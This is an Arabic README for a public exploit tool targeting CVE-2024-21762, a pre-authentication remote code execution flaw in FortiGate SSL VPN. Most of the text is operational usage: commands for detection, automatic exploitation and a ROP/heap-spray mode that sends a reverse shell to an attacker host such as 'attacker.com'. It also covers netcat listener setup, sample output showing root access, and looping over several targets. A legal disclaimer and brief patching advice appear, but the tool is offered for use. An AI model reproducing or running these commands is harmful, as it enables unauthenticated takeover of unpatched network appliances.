
يكتشف ويستغل CVE-2024-21762 RCE قبل المصادقة في FortiGate SSL VPN، ويتميز بالتحقق الأساسي والاستغلال التلقائي ووضع رش كومة ROP وصدفة عكسية.
أداة كشف واستغلال لـ CVE-2024-21762 - ثغرة حرجة في FortiGate SSL VPN
⚠️ إخلاء مسؤولية قانوني: هذه الأداة مخصصة حصريًا للاستخدام في بيئات الاختبار المصرح بها. الاستخدام غير المصرح به على الأنظمة غير قانوني وقد يؤدي إلى عواقب قانونية خطيرة.
CVE-2024-21762 هي ثغرة حرجة في مكونات FortiGate SSL VPN تسمح بـ تنفيذ الأوامر عن بُعد (RCE) بدون مصادقة مسبقة. العطل موجود في تحليل ضعيف لطلبات HTTP باستخدام ترميز chunked، مما يؤدي إلى كتابة خارج الحدود في المكون sslvpnd.
| السمة | المعلومات |
|---|
| CVE ID | CVE-2024-21762 |
| الثغرة | كتابة خارج الحدود في sslvpnd |
| النوع | تنفيذ الأوامر عن بُعد (RCE) بدون مصادقة مسبقة |
| درجة CVSS | 9.8 (حرجة) |
| المكون المتأثر | FortiOS SSL VPN |
| الإصدارات الضعيفة | 7.0.0-7.0.13، 7.2.0-7.2.6، 7.4.0-7.4.2 |
✅ كشف الثغرة - تحديد FortiGate الضعيفة من خلال طلبات مشوهة
✅ اختبار الأساس - التحقق من السلوك الطبيعي للخادم قبل الاختبارات
✅ الوضع التلقائي - كشف الثغرة واستغلالها تلقائيًا
✅ شل عكسي - دعم شل عكسي bash مع تكوين IP/منفذ
✅ التحقق من الإدخال - التحقق من صحة عناوين IP والمنافذ قبل الاستغلال
✅ تقارير مفصلة - إنشاء تقارير مع توصيات للمعالجة
✅ معالجة قوية للأخطاء - إدارة آمنة للاتصالات والاستثناءات
# Clone the repository
git clone https://github.com/your-username/CVE-2024-21762.git
cd CVE-2024-21762
# Check syntax
python -m py_compile EXPLOIT.py
# Run the script
python EXPLOIT.py -h
# Simple detection test
python EXPLOIT.py 192.168.1.100
# With custom port
python EXPLOIT.py 192.168.1.100 -p 8443
# With increased timeout
python EXPLOIT.py 192.168.1.100 --timeout 20
# Automatic mode with preconfigured reverse shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Automatic mode without credentials (asks interactively)
python EXPLOIT.py 192.168.1.100 --auto
وضع ROP ينفذ استغلالًا من مرحلتين مع heap spray لأهداف محددة (FortiOS 7.4.2):
# ROP exploitation with Node.js reverse shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# With custom port
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# With increased timeout for slow targets
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
تدفق استغلال ROP:
على خادم الاستماع الخاص بك:
# Linux/Mac/Windows with netcat
nc -lnvp 4242
# Expected output:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ ملاحظة هامة: وضع ROP محسّن لـ FortiOS 7.4.2.F-build2571. الإصدارات الأخرى قد لا تعمل بسبب الإزاحات المضمنة في سلسلة ROP.
# Send reverse shell payload
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combination of multiple options
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target اسم المضيف الهدف أو IP المراد اختباره
optional arguments:
-h, --help يعرض رسالة المساعدة هذه
-t, --target HOSTNAME اسم المضيف الهدف أو IP (بديل)
-p, --port PORT منفذ SSL VPN (الافتراضي: 443)
--timeout SECONDS المهلة بالثواني (الافتراضي: 10)
-li, --lhost IP IP المحلي لاستقبال الشل العكسي
-lp, --lport PORT المنفذ المحلي لاستقبال الشل العكسي
--no-baseline تخطي اختبار الأساس
--auto الوضع التلقائي: كشف واستغلال
--rop وضع ROP: استغلال متقدم مع heap spray (FortiOS 7.4.2)
-v, --version يعرض إصدار البرنامج النصي
python EXPLOIT.py 192.168.1.100
النتيجة المتوقعة في حالة الثغرة:
[+] بدء اختبار الثغرة...
[!] تم اكتشاف ضعف!
[!] الخادم أنهى الاتصال فجأة
[!] الحالة: ضعيف
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
على خادمك:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
تعتبر الأداة الهدف ضعيفًا عند اكتشاف أحد السلوكيات التالية:
| الإصدار | الكشف | وضع ROP | الحالة |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ نعم | ❌ لا | ⚠️ ضعيف |
| FortiOS 7.2.0 - 7.2.6 | ✅ نعم | ❌ لا | ⚠️ ضعيف |
| FortiOS 7.4.0 - 7.4.1 | ✅ نعم | ❌ لا | ⚠️ ضعيف |
| FortiOS 7.4.2 (build≤2571) | ✅ نعم | ✅ نعم | ⚠️ ضعيف |
| FortiOS 7.4.3+ | ❌ لا | ❌ لا | ✅ مصحح |
تحديث FortiOS إلى إصدار مصحح:
عزل مؤقت
مراقبة
# Check FortiOS version
python EXPLOIT.py your-fortinet.com
إذا أظهرت النتيجة "غير ضعيف"، فقد تم تطبيق التصحيح بنجاح.
CVE-2024-21762/
├── EXPLOIT.py # البرنامج النصي الرئيسي للاستغلال
├── README.md # هذا الملف
├── LICENSE # ترخيص MIT
└── .gitignore # إعدادات Git
| الطريقة | الوصف |
|---|---|
test_vulnerability() | اختبار الثغرة عن طريق إرسال طلب مشوه |
exploit(lhost, lport) | استغلال الثغرة بشل عكسي |
test_baseline() | اختبار السلوك الطبيعي للخادم |
generate_report() | إنشاء تقرير نهائي مع الحالة |
_create_ssl_context() | إنشاء سياق SSL قابل لإعادة الاستخدام |
_create_socket_connection() | إنشاء اتصال TLS آمن |
_close_socket(sock) | إغلاق socket بأمان |
_is_valid_ip(ip_str) | التحقق من صحة تنسيق IP |
تطبق الأداة:
س: هل يمكن استخدامه في بيئة Windows؟
ج: نعم، يعمل البرنامج النصي Python على Windows، لكن الشل العكسي bash الافتراضي لن يعمل. ستحتاج إلى حمولة مخصصة.
س: كيف أعرف أن الاستغلال نجح؟
ج: تحقق من الجهاز الذي يستمع للشل العكسي (nc/ncat). سيعرض البرنامج النصي رسائل تشير إلى التقدم.
س: هل يمكنني استخدامه ضد أهداف متعددة؟
ج: نعم، يمكنك إنشاء برنامج نصي bash/PowerShell للتكرار على قائمة عناوين IP.
س: ما الفرق بين الوضع العادي والوضع التلقائي؟
ج: الوضع التلقائي يستغل تلقائيًا إذا تم العثور على ثغرة. الوضع العادي يكتشف فقط.
وجدت خطأ أو لديك اقتراحات؟ افتح issue أو أرسل pull request!
هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للتفاصيل.
يتم توفير هذا البرنامج "كما هو" لأغراض البحث والاختبار المصرح به. المؤلفون ليسوا مسؤولين عن:
استخدم بمسؤولية وفقط في البيئات المصرح بها
تم تطويره لأغراض تعليمية وبحثية في مجال الأمن السيبراني.
⚠️ تذكر: استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. الاستغلال غير المصرح به جريمة.